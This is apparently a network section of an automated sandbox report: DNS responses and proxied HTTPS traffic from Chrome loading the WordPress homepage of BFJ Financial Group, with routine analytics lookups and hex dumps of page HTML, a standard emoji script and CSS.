Apr 11, 2024 22:35:42.621522903 CEST	1.1.1.1	192.168.2.4	0xb05	No error (0)	static.ada.support		18.164.124.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:42.621522903 CEST	1.1.1.1	192.168.2.4	0xb05	No error (0)	static.ada.support		18.164.124.35	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:42.621522903 CEST	1.1.1.1	192.168.2.4	0xb05	No error (0)	static.ada.support		18.164.124.38	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:42.621522903 CEST	1.1.1.1	192.168.2.4	0xb05	No error (0)	static.ada.support		18.164.124.120	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.040978909 CEST	1.1.1.1	192.168.2.4	0x570e	No error (0)	static.hotjar.com	static-cdn.hotjar.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:43.040978909 CEST	1.1.1.1	192.168.2.4	0x570e	No error (0)	static-cdn.hotjar.com		108.138.106.124	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.040978909 CEST	1.1.1.1	192.168.2.4	0x570e	No error (0)	static-cdn.hotjar.com		108.138.106.126	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.040978909 CEST	1.1.1.1	192.168.2.4	0x570e	No error (0)	static-cdn.hotjar.com		108.138.106.49	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.040978909 CEST	1.1.1.1	192.168.2.4	0x570e	No error (0)	static-cdn.hotjar.com		108.138.106.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.041910887 CEST	1.1.1.1	192.168.2.4	0x8d35	No error (0)	static.hotjar.com	static-cdn.hotjar.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:43.044373035 CEST	1.1.1.1	192.168.2.4	0x5d97	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:43.044473886 CEST	1.1.1.1	192.168.2.4	0x4f8f	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:43.060266018 CEST	1.1.1.1	192.168.2.4	0x3552	No error (0)	cdn.calltrk.com		52.85.61.83	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.060266018 CEST	1.1.1.1	192.168.2.4	0x3552	No error (0)	cdn.calltrk.com		52.85.61.39	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.060266018 CEST	1.1.1.1	192.168.2.4	0x3552	No error (0)	cdn.calltrk.com		52.85.61.107	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.060266018 CEST	1.1.1.1	192.168.2.4	0x3552	No error (0)	cdn.calltrk.com		52.85.61.51	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.067599058 CEST	1.1.1.1	192.168.2.4	0xe7f7	No error (0)	bfjfinancialgroup.smartvault.com		13.59.104.88	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.067599058 CEST	1.1.1.1	192.168.2.4	0xe7f7	No error (0)	bfjfinancialgroup.smartvault.com		3.20.187.220	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.639764071 CEST	1.1.1.1	192.168.2.4	0x3866	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:43.639764071 CEST	1.1.1.1	192.168.2.4	0x3866	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:43.640185118 CEST	1.1.1.1	192.168.2.4	0xfa9c	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:43.640185118 CEST	1.1.1.1	192.168.2.4	0xfa9c	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:43.658209085 CEST	1.1.1.1	192.168.2.4	0x2bfc	No error (0)	static.ada.support		18.164.124.120	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.658209085 CEST	1.1.1.1	192.168.2.4	0x2bfc	No error (0)	static.ada.support		18.164.124.35	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.658209085 CEST	1.1.1.1	192.168.2.4	0x2bfc	No error (0)	static.ada.support		18.164.124.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.658209085 CEST	1.1.1.1	192.168.2.4	0x2bfc	No error (0)	static.ada.support		18.164.124.38	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.660192966 CEST	1.1.1.1	192.168.2.4	0x949d	No error (0)	js.calltrk.com		52.85.61.83	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.660192966 CEST	1.1.1.1	192.168.2.4	0x949d	No error (0)	js.calltrk.com		52.85.61.51	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.660192966 CEST	1.1.1.1	192.168.2.4	0x949d	No error (0)	js.calltrk.com		52.85.61.107	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.660192966 CEST	1.1.1.1	192.168.2.4	0x949d	No error (0)	js.calltrk.com		52.85.61.39	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.712975979 CEST	1.1.1.1	192.168.2.4	0x8625	No error (0)	script.hotjar.com		18.164.96.90	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.712975979 CEST	1.1.1.1	192.168.2.4	0x8625	No error (0)	script.hotjar.com		18.164.96.46	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.712975979 CEST	1.1.1.1	192.168.2.4	0x8625	No error (0)	script.hotjar.com		18.164.96.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.712975979 CEST	1.1.1.1	192.168.2.4	0x8625	No error (0)	script.hotjar.com		18.164.96.77	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.878114939 CEST	1.1.1.1	192.168.2.4	0x4a7c	No error (0)	analytics.google.com	analytics-alv.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:43.878114939 CEST	1.1.1.1	192.168.2.4	0x4a7c	No error (0)	analytics-alv.google.com		216.239.36.181	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.878114939 CEST	1.1.1.1	192.168.2.4	0x4a7c	No error (0)	analytics-alv.google.com		216.239.32.181	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.878114939 CEST	1.1.1.1	192.168.2.4	0x4a7c	No error (0)	analytics-alv.google.com		216.239.34.181	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.878114939 CEST	1.1.1.1	192.168.2.4	0x4a7c	No error (0)	analytics-alv.google.com		216.239.38.181	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.879409075 CEST	1.1.1.1	192.168.2.4	0xc319	No error (0)	stats.g.doubleclick.net		142.251.167.156	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.879409075 CEST	1.1.1.1	192.168.2.4	0xc319	No error (0)	stats.g.doubleclick.net		142.251.167.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.879409075 CEST	1.1.1.1	192.168.2.4	0xc319	No error (0)	stats.g.doubleclick.net		142.251.167.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.879409075 CEST	1.1.1.1	192.168.2.4	0xc319	No error (0)	stats.g.doubleclick.net		142.251.167.157	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.187371016 CEST	1.1.1.1	192.168.2.4	0x45e	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:44.187371016 CEST	1.1.1.1	192.168.2.4	0x45e	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:44.187846899 CEST	1.1.1.1	192.168.2.4	0x85fd	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:44.187846899 CEST	1.1.1.1	192.168.2.4	0x85fd	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:44.207092047 CEST	1.1.1.1	192.168.2.4	0x6449	No error (0)	js.calltrk.com		52.85.61.39	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.207092047 CEST	1.1.1.1	192.168.2.4	0x6449	No error (0)	js.calltrk.com		52.85.61.51	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.207092047 CEST	1.1.1.1	192.168.2.4	0x6449	No error (0)	js.calltrk.com		52.85.61.107	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.207092047 CEST	1.1.1.1	192.168.2.4	0x6449	No error (0)	js.calltrk.com		52.85.61.83	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.248039007 CEST	1.1.1.1	192.168.2.4	0x170e	No error (0)	rollout.ada.support		13.226.34.19	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.248039007 CEST	1.1.1.1	192.168.2.4	0x170e	No error (0)	rollout.ada.support		13.226.34.33	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.248039007 CEST	1.1.1.1	192.168.2.4	0x170e	No error (0)	rollout.ada.support		13.226.34.43	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.248039007 CEST	1.1.1.1	192.168.2.4	0x170e	No error (0)	rollout.ada.support		13.226.34.75	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.353410959 CEST	1.1.1.1	192.168.2.4	0xd3da	No error (0)	www.google.com		142.250.65.228	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.353445053 CEST	1.1.1.1	192.168.2.4	0x845f	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 11, 2024 22:35:44.428284883 CEST	1.1.1.1	192.168.2.4	0x3900	No error (0)	vc.hotjar.io	vc-live-cf.hotjar.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:44.428786039 CEST	1.1.1.1	192.168.2.4	0x180d	No error (0)	vc.hotjar.io	vc-live-cf.hotjar.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:44.428786039 CEST	1.1.1.1	192.168.2.4	0x180d	No error (0)	vc-live-cf.hotjar.io		18.164.96.95	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.428786039 CEST	1.1.1.1	192.168.2.4	0x180d	No error (0)	vc-live-cf.hotjar.io		18.164.96.52	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.428786039 CEST	1.1.1.1	192.168.2.4	0x180d	No error (0)	vc-live-cf.hotjar.io		18.164.96.97	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.428786039 CEST	1.1.1.1	192.168.2.4	0x180d	No error (0)	vc-live-cf.hotjar.io		18.164.96.54	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.743247032 CEST	1.1.1.1	192.168.2.4	0x3184	No error (0)	rollout.ada.support		13.226.34.19	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.743247032 CEST	1.1.1.1	192.168.2.4	0x3184	No error (0)	rollout.ada.support		13.226.34.75	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.743247032 CEST	1.1.1.1	192.168.2.4	0x3184	No error (0)	rollout.ada.support		13.226.34.43	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.743247032 CEST	1.1.1.1	192.168.2.4	0x3184	No error (0)	rollout.ada.support		13.226.34.33	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.769948006 CEST	1.1.1.1	192.168.2.4	0xe23d	No error (0)	www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:44.769984007 CEST	1.1.1.1	192.168.2.4	0x1f13	No error (0)	www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:44.778376102 CEST	1.1.1.1	192.168.2.4	0x5b0d	No error (0)	smartvault.ada.support		18.164.124.35	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.778376102 CEST	1.1.1.1	192.168.2.4	0x5b0d	No error (0)	smartvault.ada.support		18.164.124.38	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.778376102 CEST	1.1.1.1	192.168.2.4	0x5b0d	No error (0)	smartvault.ada.support		18.164.124.106	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.778376102 CEST	1.1.1.1	192.168.2.4	0x5b0d	No error (0)	smartvault.ada.support		18.164.124.125	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:46.341644049 CEST	1.1.1.1	192.168.2.4	0x36b6	No error (0)	www.smartvault.com		141.193.213.11	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:46.341644049 CEST	1.1.1.1	192.168.2.4	0x36b6	No error (0)	www.smartvault.com		141.193.213.10	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:46.830898046 CEST	1.1.1.1	192.168.2.4	0xc28	No error (0)	www.smartvault.com		141.193.213.11	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:46.830898046 CEST	1.1.1.1	192.168.2.4	0xc28	No error (0)	www.smartvault.com		141.193.213.10	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:48.525186062 CEST	1.1.1.1	192.168.2.4	0x637d	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:48.525186062 CEST	1.1.1.1	192.168.2.4	0x637d	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:36:04.135670900 CEST	1.1.1.1	192.168.2.4	0xaa88	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:36:04.135670900 CEST	1.1.1.1	192.168.2.4	0xaa88	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:53 UTC	663	OUT	GET / HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:53 UTC	852	IN	HTTP/1.1 200 OK Connection: close Content-Length: 68978 content-type: text/html; charset=UTF-8 x-fw-dynamic: TRUE x-fw-server: Flywheel/5.1.0 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff link: <https://www.bfjfinancial.com/wp-json/>; rel="https://api.w.org/" link: <https://www.bfjfinancial.com/wp-json/wp/v2/pages/6>; rel="alternate"; type="application/json" link: <https://www.bfjfinancial.com/>; rel=shortlink x-xss-protection: 1 x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:53 GMT X-Served-By: cache-lga21963-LGA, cache-lga21955-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867693.491953,VS0,VE447 Vary: Accept-Encoding X-FW-Serve: TRUE X-FW-Static: NO X-FW-Type: VISIT
2024-04-11 20:34:53 UTC	1378	IN	Data Raw: 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 Data Ascii: <!DOCTYPE html><html class="no-js" lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="pingback" href="https://www.bfjfinancial.com/xmlrpc.php"><meta name='robots' content='inde
2024-04-11 20:34:53 UTC	1378	IN	Data Raw: 63 6c 65 3a 6d 6f 64 69 66 69 65 64 5f 74 69 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 32 30 32 34 2d 30 33 2d 31 34 54 30 39 3a 32 39 3a 30 37 2b 30 30 3a 30 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 37 2f 30 37 2f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 35 33 38 36 31 37 37 30 2e 6a 70 67 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 3a 77 69 64 74 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 30 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 Data Ascii: cle:modified_time" content="2024-03-14T09:29:07+00:00" /><meta property="og:image" content="https://www.bfjfinancial.com/wp-content/uploads/2017/07/shutterstock_153861770.jpg" /><meta property="og:image:width" content="500" /><meta property="og:imag
2024-04-11 20:34:53 UTC	1378	IN	Data Raw: 6e 22 2c 22 74 61 72 67 65 74 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 22 5d 7d 5d 7d 2c 7b 22 40 74 79 70 65 22 3a 22 49 6d 61 67 65 4f 62 6a 65 63 74 22 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 23 70 72 69 6d 61 72 79 69 6d 61 67 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 37 2f 30 37 2f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 35 33 38 36 31 37 37 30 2e 6a 70 67 22 2c 22 63 6f 6e 74 65 6e 74 55 72 6c 22 3a 22 68 74 74 70 73 3a Data Ascii: n","target":["https://www.bfjfinancial.com/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.bfjfinancial.com/#primaryimage","url":"https://www.bfjfinancial.com/wp-content/uploads/2017/07/shutterstock_153861770.jpg","contentUrl":"https:
2024-04-11 20:34:53 UTC	1378	IN	Data Raw: 2f 66 61 76 69 63 6f 6e 2d 31 2e 70 6e 67 22 2c 22 77 69 64 74 68 22 3a 38 30 2c 22 68 65 69 67 68 74 22 3a 34 35 2c 22 63 61 70 74 69 6f 6e 22 3a 22 42 46 4a 20 46 69 6e 61 6e 63 69 61 6c 20 47 72 6f 75 70 22 7d 2c 22 69 6d 61 67 65 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 23 2f 73 63 68 65 6d 61 2f 6c 6f 67 6f 2f 69 6d 61 67 65 2f 22 7d 2c 22 73 61 6d 65 41 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 62 66 6a 66 69 6e 61 6e 63 69 61 6c 22 2c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6d 2f 63 6f 6d 70 61 6e 79 2f 62 66 6a 2d 66 69 6e 61 6e 63 69 61 6c 2d 67 72 6f 75 70 2f 22 5d 7d 5d 7d 3c 2f 73 63 72 69 Data Ascii: /favicon-1.png","width":80,"height":45,"caption":"BFJ Financial Group"},"image":{"@id":"https://www.bfjfinancial.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/bfjfinancial","https://www.linkedin.com/company/bfj-financial-group/"]}]}</scri
2024-04-11 20:34:53 UTC	1378	IN	Data Raw: 6e 65 72 61 74 65 64 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 69 2c 6e 29 7b 76 61 72 20 6f 2c 73 2c 65 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 Data Ascii: nerated */!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=ne
2024-04-11 20:34:53 UTC	1378	IN	Data Raw: 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 74 3d 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 Data Ascii: tion t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener
2024-04-11 20:34:53 UTC	1378	IN	Data Raw: 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 7c 7c 28 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 2c 28 65 3d 6e 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 65 6d 6f 6a 69 2d 73 74 79 6c 65 Data Ascii: .then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */</script><style id='wp-emoji-style
2024-04-11 20:34:53 UTC	1378	IN	Data Raw: 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 Data Ascii: }.is-dark-theme .blocks-gallery-caption{color:hsla(0,0%,100%,.65)}.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:hsla(0,0%,100%,.65)}.wp-block-image{margin:0 0 1em}.wp-block-pullquote
